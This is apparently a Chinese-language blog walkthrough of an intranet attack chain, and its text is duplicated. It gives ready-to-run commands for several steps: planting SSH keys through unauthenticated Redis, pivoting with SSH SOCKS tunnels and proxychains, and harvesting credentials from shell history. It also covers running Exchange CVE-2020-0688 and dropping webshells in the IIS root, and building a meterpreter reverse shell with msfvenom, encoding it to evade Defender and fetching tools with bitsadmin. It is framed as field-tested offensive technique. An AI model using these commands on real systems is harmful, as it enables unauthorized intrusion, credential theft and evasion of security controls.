1. Redis未授权访问内网渗透的隐秘入口Redis作为高性能的内存数据库默认配置下存在未授权访问漏洞的情况并不少见。我在一次企业内网渗透测试中发现超过60%的Redis实例都存在配置不当问题。这种漏洞就像你家大门没锁攻击者可以直接走进来拿东西。具体攻击流程是这样的首先用redis-cli连接目标服务器如果不需要密码就能连上那基本就成功了一半。我习惯先用CONFIG GET dir命令看看Redis的工作目录在哪然后通过config set dir /root/.ssh把目录切换到SSH密钥存放的位置。这里有个小技巧执行命令前最好先redis-cli -h 目标IP ping测试下连通性避免浪费时间。接着把准备好的公钥写入Redis(echo -e \n\n; cat id_rsa.pub; echo -e \n\n) key.txt cat key.txt | redis-cli -h 192.168.1.100 -x set ssh_key这步操作相当于把钥匙放在对方家门口。然后设置保存文件名redis-cli -h 192.168.1.100 CONFIG SET dbfilename authorized_keys save保存成功后就能直接用SSH登录了。实测中我发现Ubuntu系统成功率最高CentOS有时会遇到权限问题。如果第一次失败可以尝试修改/root/.ssh目录权限为700这个坑我踩过好几次。2. 横向移动SSH隧道的艺术拿到第一台服务器后千万别急着乱跑。我通常会先做三件事查历史命令、看网络配置、找凭证文件。cat ~/.bash_history这个命令帮我在实战中拿到过不少重要信息比如其他服务器的IP、密码等。通过SSH隧道横向移动时我推荐使用动态端口转发ssh -D 1080 user内网IP这样就能用代理访问内网其他机器了。记得在本地配置好代理设置我常用Proxychains配合使用proxychains nmap -sT -Pn 内网IP段遇到需要上传工具的情况Python的HTTP模块是救命稻草python3 -m http.server 8080目标机器上执行wget就能下载工具。有次遇到目标机器没装wget我改用curl反而成功了所以工具要多准备几个备用方案。3. Exchange漏洞利用通往域控的捷径Exchange的CVE-2020-0688漏洞是我见过最实用的域控突破口子。利用过程需要先收集信息用这个命令查域内SPNsetspn -T 域名 -q */*漏洞利用时需要特别注意URL编码问题我写过一个自动化脚本处理这个痛点。核心是利用链是这样的python cve-2020-0688.py -s https://exchange服务器 -u 邮箱 -p 密码 -c 执行命令实战中遇到过证书验证失败的情况这时加上--no-check-certificate参数就能解决。上传木马时建议放在IIS默认目录比如c:\inetpub\wwwroot\这样不容易触发防护。4. 绕过Windows Defender的实战技巧免杀是内网渗透的最后一道坎。我总结出三个有效方法PS反射加载、AES加密、WMI远程执行。比如这个PS反射加载的payloadmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTIP LPORT端口 -f psh-reflection payload.ps1AES加密脚本更稳妥Import-Module ./AES-Encoder.ps1 Invoke-AES-Encoder -InFile payload.ps1 -OutFile encrypted.ps1 -Iterations 3WMI远程执行适合已经拿到域管凭证的情况python wmiexec.py 域名/用户:密码IP 命令最近发现Defender对certutil下载行为监控很严可以改用bitsadmin替代bitsadmin /transfer job名 http://IP/文件 保存路径这些技巧都是我在几十次实战中验证过的。记得每次操作前先测试防御策略不同企业的防护强度差异很大。有次遇到EDR直接拦截了所有PS脚本最后改用COM组件才绕过。
内网渗透实战:从Redis未授权到域控突破的完整攻击链
1. Redis未授权访问内网渗透的隐秘入口Redis作为高性能的内存数据库默认配置下存在未授权访问漏洞的情况并不少见。我在一次企业内网渗透测试中发现超过60%的Redis实例都存在配置不当问题。这种漏洞就像你家大门没锁攻击者可以直接走进来拿东西。具体攻击流程是这样的首先用redis-cli连接目标服务器如果不需要密码就能连上那基本就成功了一半。我习惯先用CONFIG GET dir命令看看Redis的工作目录在哪然后通过config set dir /root/.ssh把目录切换到SSH密钥存放的位置。这里有个小技巧执行命令前最好先redis-cli -h 目标IP ping测试下连通性避免浪费时间。接着把准备好的公钥写入Redis(echo -e \n\n; cat id_rsa.pub; echo -e \n\n) key.txt cat key.txt | redis-cli -h 192.168.1.100 -x set ssh_key这步操作相当于把钥匙放在对方家门口。然后设置保存文件名redis-cli -h 192.168.1.100 CONFIG SET dbfilename authorized_keys save保存成功后就能直接用SSH登录了。实测中我发现Ubuntu系统成功率最高CentOS有时会遇到权限问题。如果第一次失败可以尝试修改/root/.ssh目录权限为700这个坑我踩过好几次。2. 横向移动SSH隧道的艺术拿到第一台服务器后千万别急着乱跑。我通常会先做三件事查历史命令、看网络配置、找凭证文件。cat ~/.bash_history这个命令帮我在实战中拿到过不少重要信息比如其他服务器的IP、密码等。通过SSH隧道横向移动时我推荐使用动态端口转发ssh -D 1080 user内网IP这样就能用代理访问内网其他机器了。记得在本地配置好代理设置我常用Proxychains配合使用proxychains nmap -sT -Pn 内网IP段遇到需要上传工具的情况Python的HTTP模块是救命稻草python3 -m http.server 8080目标机器上执行wget就能下载工具。有次遇到目标机器没装wget我改用curl反而成功了所以工具要多准备几个备用方案。3. Exchange漏洞利用通往域控的捷径Exchange的CVE-2020-0688漏洞是我见过最实用的域控突破口子。利用过程需要先收集信息用这个命令查域内SPNsetspn -T 域名 -q */*漏洞利用时需要特别注意URL编码问题我写过一个自动化脚本处理这个痛点。核心是利用链是这样的python cve-2020-0688.py -s https://exchange服务器 -u 邮箱 -p 密码 -c 执行命令实战中遇到过证书验证失败的情况这时加上--no-check-certificate参数就能解决。上传木马时建议放在IIS默认目录比如c:\inetpub\wwwroot\这样不容易触发防护。4. 绕过Windows Defender的实战技巧免杀是内网渗透的最后一道坎。我总结出三个有效方法PS反射加载、AES加密、WMI远程执行。比如这个PS反射加载的payloadmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTIP LPORT端口 -f psh-reflection payload.ps1AES加密脚本更稳妥Import-Module ./AES-Encoder.ps1 Invoke-AES-Encoder -InFile payload.ps1 -OutFile encrypted.ps1 -Iterations 3WMI远程执行适合已经拿到域管凭证的情况python wmiexec.py 域名/用户:密码IP 命令最近发现Defender对certutil下载行为监控很严可以改用bitsadmin替代bitsadmin /transfer job名 http://IP/文件 保存路径这些技巧都是我在几十次实战中验证过的。记得每次操作前先测试防御策略不同企业的防护强度差异很大。有次遇到EDR直接拦截了所有PS脚本最后改用COM组件才绕过。